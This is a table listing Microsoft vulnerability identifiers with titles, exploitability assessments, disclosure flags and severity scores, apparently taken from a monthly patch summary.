CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.2
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Exploitation Less Likely	No	8.0
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Exploitation More Likely	No	6.0
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.2
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6

CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Exploitation Less Likely	No	4.5
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Exploitation Unlikely	No	3.3
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	N/A	No	7.8
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
